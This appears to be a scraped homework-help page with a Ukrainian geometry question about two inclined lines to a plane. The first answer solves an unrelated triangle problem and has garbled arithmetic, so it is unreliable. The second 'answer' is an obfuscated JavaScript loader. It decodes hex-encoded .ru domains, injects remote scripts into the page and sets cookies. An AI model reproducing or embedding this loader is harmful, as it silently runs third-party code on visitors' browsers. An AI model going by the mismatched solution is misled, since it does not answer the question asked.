решить эту задачу, уже 3 часа сижу над ней... З точки А до площини $\alpha$ проведено перпендикулярні похилі AB і AC (між ними кут 90°). Знайдіть відстань між точками B і C, якщо відстань від точки А до площини $\alpha$ дорівнює 3 см, а похилі AB і AC утворюють з площиною $\alpha$ кути по 60°.

👇

Увидеть ответ

Открыть все ответы

Ответ:

sanzarerzanylu8

24.08.2020

ответь:

1. Уравнение прямой AM, параллельной стороне ВС.

Вектор ВС = (1-(-1); -3-2) = (2; -5). Угловой коэффициент к = -5/2.

У прямой АМ "к" тоже равен (-5/2).

Уравнение AM: y = (-5/2)x + в. Для определения в подставим координаты точки А: -3 = 5*(-5/2) + B, отсюда в = -3+ (25/2) = 19/2.

Получаем уравнение AM: y = (-5/2)x + (19/2).

2. Уравнение медианы ВК;

Находим координаты точки К как середину Ас

K((5+1)/2; (-3-3)/2) = (3; -3). Вектор ВК =

= (4;

-5), K = -5/4.

BK: y = (-5/4)x +в, вставим точку В: 2 = (-5/4)*(-1) + B, B = 2 -(5/4)= 3/4.

Уравнение ВК: y = -1,25x+ 0,753. Уравнение высоты, проведенной через вершину А;

Это перпендикуляр к стороне ВС: к = -1/(-5/2) = 2/5.

уравнение: у = (2/5)x + в, вставим точку A(5;-3):

-3 = (2/5)*5 + в, в = - -3-2 =-5. Уравнение:

y = (2/5)x - 5.

4. Угол В; векторы ВА и ВС:

BA(6; -5), модуль √(36+25) = √61.

BC(2; -5), модуль √(4+25) = √29.

cos a = (6*2 + (-5)*(-5))/(v/61*v/29) = 37/ √(61*29) 0,879706514

B = 0,495551673 радиан

в = 28,39301942 градусов

5. Координаты точки пересечения медиан треугольника ABC.

Координаты центроида (точка пересечения медиан): М(Хм;Ум) ((Ха+Хв+Хc)/3; (Уа+Ув+Ус)/3) = (1,6667;-1,3333

4,5(94 оценок)

Ответ:

MrFoxTv

24.08.2020

Window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="17851",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Впрямоугольном треугольнике abc известно, что ab=15 см, sina=0.6. найдите катет вс